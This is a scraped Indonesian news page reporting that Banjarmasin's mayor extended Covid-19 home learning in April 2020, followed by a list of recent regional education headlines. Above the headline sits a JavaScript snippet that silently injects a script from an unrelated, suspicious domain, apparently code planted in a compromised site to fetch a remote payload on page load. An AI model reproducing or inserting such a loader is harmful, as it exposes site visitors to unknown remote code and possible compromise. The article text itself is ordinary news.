(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Belajar dari Rumah di Banjarmasin Diperpanjang, Siswa Turun Sekolah Dijadwalkan 2 Juni


KANALKALIMANTAN.COM, BANJARMASIN – Wali Kota Banjarmasin H Ibnu Sina kembali memperpanjang masa belajar dari rumah peserta didik TK/PAUD, SD hingga SMP di kota Banjarmasin. Ini diambil sebagai imbas penyebaran Covid-19 di Kota Seribu Sungai.

Jika pada Surat Edaran (SE) sebelumnya dengan nomor 80/1280-Sekr/Dispendik/2020 di mana masa belajar dari rumah yang semula dari tanggal 1 hingga 14 April 2020, maka melalui SE baru dengan nomor 800/1505-Sekr/Dispendik/2020, masa libur diperpanjang kembali mulai 15 hingga 23 April 2020.

Namun demikian, ini diprediksi akan panjang. Karena akan memasuki masa libur Ramadhan dan Idul Fitri dari 24 April hingga 30 Mei 2020. Sehingga, siswa turun kembali ke sekolah pada 2 Juni 2020 mendatang.

“Pelaksanaan proses pembelajaran dan penugasan selama perpanjangan masa belajar dari rumah tetap mengacu pada SE Wali Kota nomor 80/1280-Sekr/Dispendik/2020,” kata Wali Kota Ibnu, Senin (13/4/2020).

Sebagai gantinya, Ibnu menjelaskan, para guru meminta siswanya untuk belajar dari rumah dan libur sekolah melalui beberapa platform. Baik yang disediakan oleh Kemdikbud, aplikasi belajar hingga melalui stasiun televisi nasional TVRI melalui siaran Belajar Bareng TVRI yang tayang setiap pagi.

Tak hanya itu, kegiatan pesantren Ramadhan juga tetap dilaksanakan dari rumah, agar siswa dapat melakukan kegiatan selama Ramadhan di rumah saja. Guru juga dapat memberikan materi-materi tambahan yang berkaitan dengan peningkatan keimanan dan akhlak mulia.

“Guru juga dapat membuatkan check list pelaksanaan tugas dan penyerahan hasil pelaksanaan dilakukan saat siswa kembali ke sekolah,” jelas Ibnu.

Di samping itu, Ibnu juga meminta orang tua/wali siswa untuk mengingatkan siswa agar tetap melaksanakan social distancing dan physical distancing selama masa belajar dari rumah dan libur sekolah. “Selain itu, tidak mendatangi keramaian, tidak berkumpul dengan temannya dan selalu menjaga jarak lebih dari 1,5 meter saat bersama orang lain,” pungkas Ibnu. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

11 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.